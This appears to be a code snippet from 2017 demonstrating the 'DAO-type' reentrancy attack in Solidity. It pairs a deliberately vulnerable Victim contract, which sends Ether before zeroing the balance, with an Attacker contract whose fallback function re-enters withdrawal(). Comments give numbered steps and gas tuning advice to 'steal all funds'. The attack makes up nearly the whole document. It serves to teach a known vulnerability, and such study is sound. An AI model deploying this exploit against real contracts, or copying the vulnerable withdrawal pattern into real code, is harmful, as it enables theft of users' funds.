Created
August 14, 2017 13:31
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Simple smart contract displaying the recursive DAO type attack
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pragma solidity ^0.4.10; | |
contract Victim { | |
mapping (address => uint) public funds; | |
event Deposit(address deposit, uint amount); | |
event Withdrawal(address withdrawal, uint amount); | |
// event consoleLogUin(string message, uint value); | |
function deposit() payable { | |
funds[msg.sender] += msg.value; | |
Deposit(msg.sender, msg.value); | |
} | |
function withdrawal() { | |
// consoleLogUin("msg.gas", msg.gas); | |
// consoleLogUin("funds[msg.sender]", funds[msg.sender]); | |
// consoleLogUin("this.balance", this.balance); | |
if (msg.sender.send(funds[msg.sender])) { | |
// if (msg.sender.call.gas(msg.gas - 50000).value(funds[msg.sender])()) { | |
Withdrawal(msg.sender, funds[msg.sender]); | |
funds[msg.sender] = 0; | |
} | |
} | |
} | |
contract Attacker { | |
Victim public victim; | |
// event consoleLogUin(string message, uint value); | |
function Attacker(Victim victimAddress) { | |
victim = victimAddress; | |
} | |
function depositVictim() payable { | |
victim.deposit.value(msg.value)(); | |
} | |
// 1. Call Victim.deposit() from another account (this is what will be stolen) | |
// 2. Call Attacker.depositVictim() first with some amount of Ether | |
// The greater the deposit amount, the less recursive calls needed and the lower the gas cost | |
// The lower the deposit amount the closer to the total of the victim that you can steal | |
// 3. Call Attacker.() (fallback function) with a large amount of gas to attack Victic and steal all funds | |
function () { | |
// consoleLogUin("()", 1); | |
// consoleLogUin("victim.balance", victim.balance); | |
// consoleLogUin("victim.funds(this)", victim.funds(this)); | |
if (msg.gas > 50000 && victim.balance >= victim.funds(this)) { | |
// consoleLogUin("victim.withdrawal()", 1); | |
victim.withdrawal(); | |
} | |
} | |
} |
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